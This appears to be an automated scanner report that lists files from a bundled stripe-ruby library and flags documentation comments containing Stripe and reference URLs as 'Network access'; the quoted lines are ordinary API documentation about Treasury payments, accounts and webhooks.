# Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com#financial_accounts) - Network accessline 8
# Simulate OutboundPayment state changes with the `/v1/test_helpers/treasury/outbound_payments` endpoints. These methods can only be called on test mode objects. # # Related guide: [Moving money with Treasury using OutboundPayment o - Network accessline 10
# Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) - Network accessline 25
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 33
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 88
# The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type. - Network accessline 223
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 225
# ID of the [customer](https://docs.stripe.com/api/customers) to whom an OutboundPayment is sent. - Network accessline 239
# A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses. - Network accessline 245
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/outbound_transfer.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a PaymentMethod belonging t - Network accessline 8
# Simulate OutboundTransfer state changes with the `/v1/test_helpers/treasury/outbound_transfers` endpoints. These methods can only be called on test mode objects. # # Related guide: [Moving money with Treasury using OutboundTransfe - Network accessline 10
# Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) - Network accessline 25
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 33
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 88
# The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type. - Network accessline 208
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 220
# A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses. - Network accessline 226
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/received_credit.rb
- Executable scriptline 1
Executable file - Network accessline 6
# ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount. - Network accessline 20
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 28
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 92
# Set when `type` is `issuing_card`. This is an [Issuing Card](https://api.stripe.com#issuing_cards) ID. - Network accessline 114
# You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal. - Network accessline 116
# Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com#financial_accounts) - Network accessline 118
# Simulate OutboundPayment state changes with the `/v1/test_helpers/treasury/outbound_payments` endpoints. These methods can only be called on test mode objects. # # Related guide: [Moving money with Treasury using Outbo - Network accessline 120
# Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) - Network accessline 122
# Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a PaymentMethod belonging t - Network accessline 124
# Simulate OutboundTransfer state changes with the `/v1/test_helpers/treasury/outbound_transfers` endpoints. These methods can only be called on test mode objects. # # Related guide: [Moving money with Treasury using Out - Network accessline 126
# Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) - Network accessline 133
# industry. # # Related guide: [Receiving payouts](https://docs.stripe.com/payouts) - Network accessline 135
# Related guide: [Receiving payouts](https://docs.stripe.com/payouts) - Network accessline 150
# Set if the ReceivedCredit was created due to an [Issuing Authorization](https://api.stripe.com#issuing_authorizations) object. - Network accessline 152
# Set if the ReceivedCredit is also viewable as an [Issuing transaction](https://api.stripe.com#issuing_transactions) object. - Network accessline 188
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 196
# A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/received_debit.rb
- Executable scriptline 1
Executable file - Network accessline 6
# ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount. - Network accessline 20
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 28
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 92
# Set when `type` is `issuing_card`. This is an [Issuing Card](https://api.stripe.com#issuing_cards) ID. - Network accessline 117
# Set if the ReceivedDebit was created due to an [Issuing Authorization](https://api.stripe.com#issuing_authorizations) object. - Network accessline 119
# Set if the ReceivedDebit is also viewable as an [Issuing Dispute](https://api.stripe.com#issuing_disputes) object. - Network accessline 121
# Set if the ReceivedDebit was created due to a [Payout](https://api.stripe.com#payouts) object. - Network accessline 151
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 159
# A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/transaction.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Transactions represent changes to a [FinancialAccount's](https://api.stripe.com#financial_accounts) balance. - Network accessline 33
# You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal. - Network accessline 35
# You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitReversal. - Network accessline 37
# Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a PaymentMethod that is owned by y - Network accessline 39
# Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) - Network accessline 41
# When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization` - Network accessline 42
# object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/authorizations) must be approved for the - Network accessline 43
# purchase to be completed successfully. # # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations) - Network accessline 45
# Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations) - Network accessline 47
# Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com#financial_accounts) - Network accessline 49
# Simulate OutboundPayment state changes with the `/v1/test_helpers/treasury/outbound_payments` endpoints. These methods can only be called on test mode objects. # # Related guide: [Moving money with Treasury using OutboundP - Network accessline 51
# Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) - Network accessline 53
# Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a PaymentMethod belonging t - Network accessline 55
# Simulate OutboundTransfer state changes with the `/v1/test_helpers/treasury/outbound_transfers` endpoints. These methods can only be called on test mode objects. # # Related guide: [Moving money with Treasury using Outboun - Network accessline 57
# Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) - Network accessline 59
# ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount. - Network accessline 61
# ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount. - Network accessline 95
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/transaction_entry.rb
- Executable scriptline 1
Executable file - Network accessline 6
# TransactionEntries represent individual units of money movements within a single [Transaction](https://api.stripe.com#transactions). - Network accessline 33
# You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal. - Network accessline 35
# You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitReversal. - Network accessline 37
# Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a PaymentMethod that is owned by y - Network accessline 39
# Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) - Network accessline 41
# When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization` - Network accessline 42
# object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/authorizations) must be approved for the - Network accessline 43
# purchase to be completed successfully. # # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations) - Network accessline 45
# Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations) - Network accessline 47
# Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com#financial_accounts) - Network accessline 49
# Simulate OutboundPayment state changes with the `/v1/test_helpers/treasury/outbound_payments` endpoints. These methods can only be called on test mode objects. # # Related guide: [Moving money with Treasury using OutboundP - Network accessline 51
# Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) - Network accessline 53
# Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a PaymentMethod belonging t - Network accessline 55
# Simulate OutboundTransfer state changes with the `/v1/test_helpers/treasury/outbound_transfers` endpoints. These methods can only be called on test mode objects. # # Related guide: [Moving money with Treasury using Outboun - Network accessline 57
# Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) - Network accessline 59
# ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount. - Network accessline 61
# ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount. - Network accessline 78
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/amount.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/billing/meter_event.rb
- Executable scriptline 1
Executable file - Network accessline 23
# `customer_mapping.event_payload_key` (default is `stripe_customer_id`) and # `value_settings.event_payload_key` (default is `value`). Read more about # the [payload](https://docs.stripe.com/billing/subscriptions/usage-base - Network accessline 25
# the [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides)..
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/billing/meter_event_adjustment.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/billing/meter_event_session.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/core/account.rb
- Executable scriptline 1
Executable file - Network accessline 158
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 236
# ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px. - Network accessline 238
# ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if provided. Must be at least 128px x 128p - Network accessline 1817
# The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 1819
# The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 1863
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2090
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2318
# Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 2320
# Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 2322
# Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 2370
# Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance). - Network accessline 2411
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2435
# A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). - Network accessline 2437
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2464
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2479
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2494
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2509
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2524
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2539
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2555
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 2557
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 2568
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. - Network accessline 2583
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2598
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2613
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2684
# A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). - Network accessline 2686
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2713
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2738
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2856
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2931
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2972
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 2987
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 3003
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 3005
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 3016
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. - Network accessline 3032
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 3034
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 3045
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. - Network accessline 3060
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 3143
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3168
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3274
# The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3316
# The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) country code.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/core/account_link.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/core/account_person.rb
- Executable scriptline 1
Executable file - Network accessline 17
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 92
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 133
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 148
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 164
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 166
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 177
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. - Network accessline 193
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 195
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 206
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens for the front and back of the verification document. - Network accessline 221
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 304
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 329
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 435
# The countries where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/core/account_person_token.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/core/account_token.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/core/event.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/core/event_destination.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/core/event_notification.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/v2/deleted_object.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/webhook_endpoint.rb
- Executable scriptline 1
Executable file - Network accessline 5
# You can configure [webhook endpoints](https://docs.stripe.com/webhooks/) via the API to be - Network accessline 7
# accounts. # # Most users configure webhooks from [the dashboard](https://dashboard.stripe.com/webhooks), which provides a user interface for registering and testing your webhook endpoints. - Network accessline 8
# # Most users configure webhooks from [the dashboard](https://dashboard.stripe.com/webhooks), which provides a user interface for registering and testing your webhook endpoints. # - Network accessline 9
# Most users configure webhooks from [the dashboard](https://dashboard.stripe.com/webhooks), which provides a user interface for registering and testing your webhook endpoints. - Network accessline 11
# Related guide: [Setting up webhooks](https://docs.stripe.com/webhooks/configure) - Network accessline 37
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 41
# The endpoint's secret, used to generate [webhook signatures](https://docs.stripe.com/webhooks/signatures). Only returned at creation. - Network accessline 50
# A webhook endpoint must have a url and a list of enabled_events. You may optionally specify the Boolean connect parameter. If set to true, then a Connect webhook endpoint that notifies the specified url about events from all connected acc - Network accessline 60
# You can also delete webhook endpoints via the [webhook endpoint management](https://dashboard.stripe.com/account/webhooks) page of the Stripe dashboard. - Network accessline 70
# You can also delete webhook endpoints via the [webhook endpoint management](https://dashboard.stripe.com/account/webhooks) page of the Stripe dashboard.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/search_result_object.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/account_capability_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/account_external_account_service.rb
- Executable scriptline 1
Executable file - Network accessline 52
# details are not editable by design. # # You can only update bank accounts when [account.controller.requirement_collection is application, which includes <a href="/connect/custom-accounts">Custom accounts](https://docs.stripe.com/a - Network accessline 53
# # You can only update bank accounts when [account.controller.requirement_collection is application, which includes <a href="/connect/custom-accounts">Custom accounts](https://docs.stripe.com/api/accounts/object#account_object-controll - Network accessline 54
# You can only update bank accounts when [account.controller.requirement_collection is application, which includes <a href="/connect/custom-accounts">Custom accounts](https://docs.stripe.com/api/accounts/object#account_object-controller-req
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/account_link_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/account_login_link_service.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Creates a login link for a connected account to access the Express Dashboard. # # You can only create login links for accounts that use the [Express Dashboard](https://docs.stripe.com/connect/express-dashboard) and are connected t - Network accessline 8
# You can only create login links for accounts that use the [Express Dashboard](https://docs.stripe.com/connect/express-dashboard) and are connected to your platform.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/account_person_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/account_service.rb
- Executable scriptline 1
Executable file - Network accessline 16
# With [Connect](https://docs.stripe.com/docs/connect), you can create Stripe accounts for your users. - Network accessline 17
# To do this, you'll first need to [register your platform](https://dashboard.stripe.com/account/applications/settings). - Network accessline 18
# # If you've already collected information for your connected accounts, you [can prefill that information](https://docs.stripe.com/docs/connect/best-practices#onboarding) when # creating the account. Connect Onboarding won't ask fo - Network accessline 19
# If you've already collected information for your connected accounts, you [can prefill that information](https://docs.stripe.com/docs/connect/best-practices#onboarding) when - Network accessline 26
# With [Connect](https://docs.stripe.com/connect), you can delete accounts you manage. - Network accessline 28
# Test-mode accounts can be deleted at any time. # # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All othe - Network accessline 29
# # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balanc - Network accessline 30
# Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balances](ht - Network accessline 32
# If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead. - Network accessline 43
# Returns a list of accounts connected to your platform via [Connect](https://docs.stripe.com/docs/connect). If you're not a platform, the list is empty. - Network accessline 48
# With [Connect](https://docs.stripe.com/connect), you can reject accounts that you have flagged as suspicious. - Network accessline 77
# Updates a [connected account](https://docs.stripe.com/connect/accounts) by setting the values of the parameters passed. Any parameters not provided are - Network accessline 78
# left unchanged. # # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 79
# # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) # is application, which includes Custom accounts, you can update any informatio - Network accessline 80
# For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 81
# is application, which includes Custom accounts, you can update any information on the account. # # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requir - Network accessline 82
# # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) # is stripe, which includes Standard and Express accounts, you can update all i - Network accessline 83
# For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 84
# is stripe, which includes Standard and Express accounts, you can update all information until you create # an [Account Link or <a href="/api/account_sessions">Account Session](https://docs.stripe.com/api/account_links) to start Connec - Network accessline 85
# an [Account Link or <a href="/api/account_sessions">Account Session](https://docs.stripe.com/api/account_links) to start Connect onboarding, - Network accessline 86
# after which some properties can no longer be updated. # # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our - Network accessline 87
# # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our # [Connect](https://docs.stripe.com/docs/connect/updating-accounts) documentation to learn more about updating accounts - Network accessline 88
# To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our - Network accessline 89
# [Connect](https://docs.stripe.com/docs/connect/updating-accounts) documentation to learn more about updating accounts.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/account_session_service.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/apple_pay_domain_service.rb
- Executable scriptline 1
Executable file
